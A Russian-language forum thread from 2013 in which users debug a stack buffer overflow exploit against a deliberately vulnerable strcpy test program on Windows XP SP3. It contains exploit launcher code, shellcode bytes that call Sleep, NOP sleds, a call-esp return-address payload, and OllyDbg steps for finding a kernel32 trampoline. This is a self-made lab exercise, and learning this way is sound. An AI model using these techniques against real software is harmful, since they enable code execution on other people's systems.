Помогите разобраться с переполнением буфера

Discussion in 'Песочница' started by 0o Chris o0, 12 Feb 2013.

  1. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Прочитал довольно много статей. Вроде все понятно, но не выходит реализовать :(
    Собственно, вот код:
    Code:
    #include <iostream>
    #include <stdio.h>
    #include <windows.h>
    
    char shellcode[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x98\x3a\x50\xff\xd3";
    
    int main(int argc, char* argv[])
    {
    char buf[200];
    char exec[600];
    
    memset(buf,0x00,sizeof(buf));
    memset(buf,0x90,150-strlen(shellcode)); 
    memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); 
    
    *(long *)&buf[112] = 0x0022FF60; // при 112 уязвимая программа падает, при 111 уже нет
    
    sprintf(exec,"overflow.exe %s",buf);
    system(exec);
    printf("\r\n");
    system("pause");
    return 0;
    }
    
    overflow.exe :
    Code:
    int main(int argc, char *argv[]) {
    
        char buf[100];
        strcpy(buf, argv[1]);
        cout << buf;
        return 0;
    
    }
    
    Чтобы не было вопросов с правильностью определения адреса возврата
    [​IMG]

    Так же удивляет, что при выполнении, в выводе последний символ есть раскодированный последний байт адреса.
    [​IMG]
    ' есть 60 в hex, если заменить адрес возврата на, допустим, 0x0022FF61, то последним символом в выводе будет a(61 в hex).

    И что я делаю не так?

    Ах да, win XP Pro sp3 :)

    P.S. При удачном исполнении программа должна просто проспать 15 секунд.
     
    #1 0o Chris o0, 12 Feb 2013
    Last edited: 12 Feb 2013
  2. RoksHD

    RoksHD New Member

    Joined:
    28 May 2012
    Messages:
    36
    Likes Received:
    3
    Reputations:
    2
    Что даешь на вход buf?
     
  3. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Ну если ты об этом:
    Code:
    memset(buf,0x00,sizeof(buf));
    memset(buf,0x90,150-strlen(shellcode)); 
    memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
    
    То сначала просто очищаю, записываю нопы, в конец дописываю код, который должен исполниться.
     
  4. RoksHD

    RoksHD New Member

    Joined:
    28 May 2012
    Messages:
    36
    Likes Received:
    3
    Reputations:
    2
    Нет, это понятно.

    Я думаю дело в этой строчке. *(long *)&buf[112] = 0x0022FF60;
     
    #4 RoksHD, 15 Feb 2013
    Last edited: 15 Feb 2013
  5. RoksHD

    RoksHD New Member

    Joined:
    28 May 2012
    Messages:
    36
    Likes Received:
    3
    Reputations:
    2
    Вот так тебе нужно сделать:

    Code:
    #include <string.h>
    #include <stdio.h>
    
    char shellcode[] = 
    "\x35\x35\x35\x35"
    "\x35\x35\x35\x35"
    "\x35\x35\x35\x35"
    "\x35\x35\x35\x35"
    "\x35\x35\x35\x35"
    "\x35\x35\x35\x35"
    "\x35\x35\x35\x35"
    "\xf0\x69\x83\x7c" // call esp in Kernel32
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x90\x90\x31\xc0" // твой код
    "\xbb\x46\x24\x80" //
    "\x7c\x66\xb8\x98" //
    "\x3a\x50\xff\xd3"; //
    
    int main (int argc, char **argv) {
        char buf[10];
        memset (buf, 0, sizeof(buf));
        strcpy(buf, shellcode);
        return 0;
    }
    где shellcode - строка которую тебе нужно сгенерировать в твоей первой программе.

    PS. Я уменьшил длину массива до 10 байт, если тебе обязательно нужно больше, то увеличивай первую секцию шеллкода (до call esp) пока регистр EIP не перетрется нашем адресом и всё.

    PPS. Адрес интсрукции call ESP может у нас отличаться. У меня Windows XP SP3 En x86
     
    #5 RoksHD, 15 Feb 2013
    Last edited: 15 Feb 2013
    1 person likes this.
  6. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    А как ты call esp нашел? Я всю программу перерыл в поисках call или jmp esp, так ничего и не нашел. IDA поиском не находит.
     
  7. RoksHD

    RoksHD New Member

    Joined:
    28 May 2012
    Messages:
    36
    Likes Received:
    3
    Reputations:
    2
    1. Запускаешь прогу в отладчике (я использовал OllyDbg)
    2. Открываешь список подгруженных библиотек (Alt + E)
    3. Ищем среди них Kernel32.dll (эта библиотека как и ntdll.dll, msvcrt.dll всегда подгружены к любой программе в Windows)
    4. Кликаешь правой кнопкой на ней и выбираешь "Follow Entry" и тебя перекидывает по базовому адресу загрузки Kernel32.dll
    5. Далее будем искать нужную нам команду в этой библиотеке. Наживаем Ctrl + F и вводим команду call esp
    6. И о чудо мы видим её)) (в крайнем левом столбце будет адрес этой команды)

    Ну как-то так!
     
    1 person likes this.
  8. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Нашел, 7C809F83. В проге записываю так "\x83\x9F\x80\x7c", она просто падает. А у меня возник вопрос, ну хорошо мы вызываем call esp, а esp сейчас указывает ведь на мусор...
     
  9. RoksHD

    RoksHD New Member

    Joined:
    28 May 2012
    Messages:
    36
    Likes Received:
    3
    Reputations:
    2
    Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))
     
  10. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Да, надо было несколько \x35 убрать и все заработало :) Сейчас переделаю свой код.

    Upd.
    Code:
    #include <iostream>
    #include <stdio.h>
    #include <windows.h>
    
    char shellcode[] =
    "\x31\xc0\xbb\x46"
    "\x24\x80\x7c\x66"
    "\xb8\x98\x3a\x50"
    "\xff\xd3";
    
    int main(int argc, char* argv[]) {
        char buf[300];
        char exec[600];
        memset(buf,0x00,sizeof(buf));
        memset(buf,0x41,112);
        buf[112] = '\x83';
        buf[113] = '\x9F';
        buf[114] = '\x80';
        buf[115] = '\x7c';
        //memset(buf+strlen(buf), 0x90, 5);
        memcpy(buf+strlen(buf), &shellcode, strlen(shellcode)); 
        sprintf(exec,"overflow.exe %s",buf);
        system(exec);
        system("pause");
        return 0;
    }
    
    На выходе имею:
    [​IMG]

    Судя по всему call esp выполняется, чтобы проверить записываем после call esp перед шеллом 5 нопов.
    [​IMG]

    Теперь в выводе видим, что эти 5 нопов появились в команде, значит call esp выполнился и нас перебросило на шеллкод. Так вот не понимаю, почему он не выполняется :confused:
    [​IMG]

    P.S. Вопрос для знатоков, можно ли в IDA, при вызове одной программы из другой, как в данном случае например, дизассемблировать вызываемую программу? То есть если exec.exe вызывает overflow.exe - IDA во время вызова overflow.exe, подключается к ней.
     
    #10 0o Chris o0, 17 Feb 2013
    Last edited: 20 Feb 2013